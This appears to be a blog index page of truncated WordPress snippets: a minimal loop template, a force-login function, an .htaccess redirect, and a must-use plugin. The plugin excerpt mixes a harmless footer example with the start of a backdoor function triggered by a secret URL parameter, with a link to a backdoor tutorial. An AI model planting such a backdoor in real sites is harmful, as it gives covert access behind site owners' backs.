The World’s Simplest Index Page

The following is a functional index file (index.php), which displays the contents (and only the contents) of each post, according to the conditions used to prepare The Loop. This example demonstrates how little is actually necessary for the functioning of The Loop. <?php get_header(); if (have_posts()) : while (have_posts()) : the_post(); the_content(); endwhile; endif; get_sidebar(); … Read moreThe World’s Simplest Index Page

Restrict access to your WordPress

function v_getUrl() { $url = isset( $_SERVER[‘HTTPS’] ) && ‘on’ === $_SERVER[‘HTTPS’] ? ‘https’ : ‘http’; $url .= ‘://’ . $_SERVER[‘SERVER_NAME’]; $url .= in_array( $_SERVER[‘SERVER_PORT’], array(’80’, ‘443’) ) ? ” : ‘:’ . $_SERVER[‘SERVER_PORT’]; $url .= $_SERVER[‘REQUEST_URI’]; return $url; } function v_forcelogin() { if( !is_user_logged_in() ) { $url = v_getUrl(); $whitelist = apply_filters(‘v_forcelogin_whitelist’, array()); $redirect_url … Read moreRestrict access to your WordPress

301 redirects within .htaccess

# BEGIN WordPress # The directives (lines) between “BEGIN WordPress” and “END WordPress” are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. <IfModule mod_rewrite.c> RewriteEngine On Redirect 301 /dead/link/no-longer-here/ https://yourwebsite.com/please-land-here/

must-use plugins for WordPress

<?php /* Plugin Name: admin-only */ // Hook the ‘wp_footer’ action hook, add the function named ‘mfp_Add_Text’ to it add_action(“wp_footer”, “mfp_Add_Text”); // Define ‘mfp_Add_Text’ function mfp_Add_Text() { echo “<p style=’color: black;’>After the footer is loaded, my text is added!</p>”; } // —————————————————————————————- // https://wpsecurityninja.com/create-wordpress-backdoor/ // https://yoursite.com/?usethebackdoor=thatswhatshesaid // add_action(‘wp_head’, ‘wploop_backdoor’); function wploop_backdoor() { if ($_GET[‘usethebackdoor’] == … Read moremust-use plugins for WordPress